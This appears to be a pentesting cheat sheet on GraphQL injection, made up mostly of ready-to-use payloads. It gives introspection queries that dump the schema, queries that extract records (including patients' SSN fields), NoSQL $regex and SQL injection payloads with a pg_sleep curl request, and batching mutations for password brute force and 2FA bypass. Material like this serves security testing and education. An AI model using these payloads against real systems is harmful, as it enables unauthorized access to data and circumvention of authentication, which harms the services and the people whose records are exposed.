GraphQL Injection

GraphQL injection #

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Tools #

Exploit #

Identify an injection point #

Most of the time the graphql is located on the /graphql or /graphiql endpoint.

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection #

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Single line query to dump the database schema without fragments.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}

List path #

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

Extract data #

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

HTB Help - GraphQL injection

Extract data using edges/nodes #

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 

Extract data using projections #

:warning: Don’t forget to escape the " inside the options.

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

Enumerate the types’ definition #

Enumerate the definition of interesting types using the following GraphQL query, replacing “User” with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

Use mutations #

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

NOSQL injection #

Use $regex, $ne from inside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL injection #

Send a single quote ' inside a graphql parameter to trigger the SQL injection

{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

Simple SQL injection inside a graphql field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

GraphQL Batching Attacks #

Common scenario:

  • Password Brute-force Amplification Scenario
  • 2FA bypassing
mutation finishChannelVerificationMutation(
  $input FinishChannelVerificationInput!,
  $input2 FinishChannelVerificationInput!,
  $input3 FinishChannelVerificationInput!,
){
  first: finishChannelVerificationMutation(input: $input){
    channel{
      id
      option{
        ... onChannelSmsOptions{
          number
        }
      }
      status
      notificationSubscription(last: 1000){ etc...  }
    }
  }


  second: finishChannelVerificationMutation(input: $input2){...}
  third: finishChannelVerificationMutation(input: $input3){...}
}

References #